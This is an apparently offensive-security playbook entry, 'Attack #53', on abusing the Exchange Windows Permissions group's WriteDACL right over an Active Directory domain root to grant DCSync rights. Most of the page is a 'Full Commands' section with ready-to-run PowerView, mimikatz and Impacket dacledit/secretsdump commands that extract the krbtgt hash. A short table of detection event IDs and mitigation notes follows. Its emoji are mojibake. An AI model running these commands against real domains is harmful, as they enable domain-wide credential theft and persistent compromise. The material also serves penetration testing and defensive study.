title: "Attack #53 β Exchange Windows Permissions (WriteDACL to DCSync)" description: "In many environments, the Exchange Windows Permissions security group has WriteDACL on the domain root object. This is a well-known legacyβ¦" category: active-directory subcategory: "Privilege & Group Abuse" tags: ["active-directory", "credential-access"] tools: ["Impacket", "Mimikatz", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Six/π£ Attack #53 β Exchange Windows Permissions (WriteDACL to DCSync).md"#
π£ Attack #53 β Exchange Windows Permissions (WriteDACL β DCSync)#
π How It Works#
In many environments, the Exchange Windows Permissions security group has WriteDACL on the domain root object. This is a well-known legacy misconfiguration from Exchange Server installation. Any member of this group (or anyone who compromises a member) can grant themselves DCSync rights and extract every credential in the domain.
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| Membership in Exchange Windows Permissions | Or compromise of a member |
| WriteDACL on domain root | Default after Exchange installation |
π» Full Commands#
# ββ Check if Exchange Windows Permissions has WriteDACL on domain βββββββββββββ
Get-ObjectAcl "DC=corp,DC=local" -ResolveGUIDs | Where-Object {
$_.IdentityReference -match "Exchange Windows Permissions"
} | Select-Object ActiveDirectoryRights
# ββ Grant DCSync rights ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
-PrincipalIdentity compromised_exchange_user -Rights DCSync
# ββ DCSync ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit
# ββ Linux βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
dacledit.py -action write -rights DCSync \
-principal compromised_user -target-dn "DC=corp,DC=local" \
corp.local/compromised_user:'Password1' -dc-ip 10.10.10.10
secretsdump.py corp.local/compromised_user:'Password1'@DC01.corp.local \
-just-dc-user krbtgt
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 5136 | Security Log (DC) | DACL modification on domain root object |
| 4662 | Security Log (DC) | Replication rights used |
π Attack Chain Context#
[Exchange Permissions] βββ WriteDACL on domain root β DCSync
β
ββββ π Compromise Exchange admin β WriteDACL β DCSync β Golden Ticket
ββββ π Legacy misconfiguration from Exchange Server setup
ββββ π Defeated by: remove WriteDACL from Exchange groups, audit domain ACLs
β Attack #53 β Exchange Windows Permissions complete.
π Category 6 β Privilege Escalation is now COMPLETE (9/9 attacks).